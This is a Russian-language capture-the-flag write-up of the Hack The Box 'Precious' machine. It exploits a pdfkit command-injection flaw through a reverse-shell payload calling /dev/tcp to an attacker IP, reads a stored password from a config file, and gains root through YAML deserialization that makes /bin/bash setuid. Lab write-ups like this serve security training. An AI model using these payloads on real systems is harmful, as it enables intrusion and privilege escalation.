Сбор информации

Прежде всего, соберем информацию о машине.

Используем nmap с ключами -sV -sC:

Сканирование показало, что порт 22 и порт 80 — октрыты. Видим , что порт 80 перенаправляет на  http://precious.htb . Чтоб увидеть сайт, добавим его в /etc/hosts .

Посмотрим какие есть директории используя инструмент dirsearch:

Тут ничего. Проверим web server. При переходе на precious.htb , видим такую страницу:

Веб сервер предлагает сервис по конвертации веб-страниц в файл PDF. Проверим, работает ли. Запустим локальный сервер у себя.

Создадим index.html в директории localhost, и внесём его в адресную строку :

Сработало! Скачали PDF файл, посмотрим что он из себя представляет:

Посмотрим его свойства, он создан pdfkit v.0.8.6 .

Выглядит как обычный PDF файл. Смотрим его свойства и видим что PDF создан pdfkit v.0.8.6 .

Беглое исследование в google приводит нас к тому, что существует уязвимость CVE-2022-25765, и можно узнать, что эта версия pdfkit уязвима к command injections.

Ознакомиться с CVE можно тут: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Согласно CVE, “an application could be vulnerable if it tries to render a URL that contains query string parameters with user input” и “if the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF”. Этого достаточно, чтобы проникнуть!

Запустим netcat на прослушку порта 4444:

sudo nc -lnvp 4444

В веб сервисе http://precious.htb модифицируем эксплойт под наши нужды и введём:

http://localhost.com/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"`'}

 Смотрим в terminal и видим, что мы вошли.

Получаем user flag:

Whoami → ruby

Итак мы залогинились на сервер, как пользователь ruby. Переместимся в папку /home и в ней находим ещё две папки. Одна из них наш ruby user, а вторая для user’а henry. Внутри папки henry обнаруживаем файл user.txt . Это и есть наш флаг. Но пока не имеем к нему доступа.

Осмотревшись, находим файл в /home/ruby/.bundle, названый config.

Смотрим содержимое cat config. и обнаруживаем пароль для user’а henry.

Используя данные henry, подключимся по ssh к серверу под user’ом henry:

Теперь можем посмотреть user.txt, и берём первый флаг!

Получаем root flag:

Теперь, когда мы внутри как henry, давайте посмотрим, что можно сделать. Используем команду sudo -l, и посмотрим, что можно запустить:

Похоже henry может запустить файл update_dependencies.rb , как root, используем cat и изучим файл.

Смотрим на код и обнаруживаем, что он использует YAML.load , который уязвим к deserialization attack.

Почитать больше о YAML deserialization attacks можно тут:

https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md

Недолгие поиски привели к https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ находим dependencies.yml, и модифицируем его.

Sudo nano dependencies.yml, и берём код на Ruby on Rails из поста выше.

В строке git_set: id, напишем «chmod 4777 /bin/bash», если всё продумано верно, то это позволит получить нам root.

Запускаем файл.

Sudo /usr/bin/ruby /opt/update_dependencies.rb

Сработало!

Пробуем /bin/bash -p

Готово, берём root флаг!

Комментарии (0)